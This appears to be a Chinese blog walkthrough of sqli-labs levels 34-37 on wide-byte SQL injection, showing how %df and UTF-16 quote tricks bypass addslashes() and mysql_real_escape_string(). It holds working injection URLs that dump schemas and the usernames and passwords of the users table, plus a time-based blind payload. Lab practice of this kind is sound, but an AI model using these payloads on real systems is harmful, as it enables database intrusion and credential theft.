zoukankan      html  css  js  c++  java
  • Less34-Less37 (宽字节注入)

    Less34:

    输入 admin    admin 登录成功

     

     输入  a   c  登录失败,没有报错信息

     

     看源码

     

    本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)

    分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

    法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à �’

    法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

     方法一:

    • 在POST中传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字
    •  

     

     

     方法二:

    输入   a%df’   a%df’

     

     抓包

     

     

    • 但我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可!
    •  

    修改信息,forward,intercept is on ,返回关卡界面

     

     

      Less35: id没有任何包裹

    http://192.168.27.156/sqli-labs/Less-35/?id=-1 union select 1,2,3 --+

     

    因为下面的查询都没有涉及到宽字节,所以下面的跟第1关一样

    ?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

    ?id=-1 union select 1,2,group_concat(concat('~',username,password)) from security.users--+

    使用时间盲注的方法也可以

    http://192.168.27.156/sqli-labs/Less-35/?id=1 and if(length(database())>1,1,sleep(5)  )

     

    Less-36:使用’1’进行包裹   

    http://192.168.27.156/sqli-labs/Less-36/?id=1

     

    http://192.168.27.156/sqli-labs/Less-36/?id=1'     单引号被转义

     

    使用宽字节注入

    http://192.168.27.156/sqli-labs/Less-36/?id=1%df' union select 1,2,3 --+

     

     http://192.168.27.156/sqli-labs/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+

    http://192.168.27.156/sqli-labs/Less-36/?id=-1%df' union select1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

     

    Less37:

     输入  admin   admin   登录成功

     

     输入 ad  a    登录失败

     

    可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!

    • 分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

    方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à �'

    方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

    方法一:

     

     方法二:抓包

    又将 %转化为%25

     

     

     

  • 相关阅读:
    mysql常用基本命令
    mysql8.0.13下载与安装图文教程
    k8s ingress 增加跨域配置
    Jenkins 备份恢复插件 thinBackup 使用
    k8s HA master 节点宕机修复
    nginx 跨域问题解决
    mongodb 3.4.24 主从复制
    k8s 线上安装 jenkins并结合 jenkinsfile 实现 helm 自动化部署
    k8s helm 运用与自建helm仓库chartmuseum
    centos6 源码安装 unzip
  • 原文地址:https://www.cnblogs.com/7-58/p/12268110.html
Copyright © 2011-2022 走看看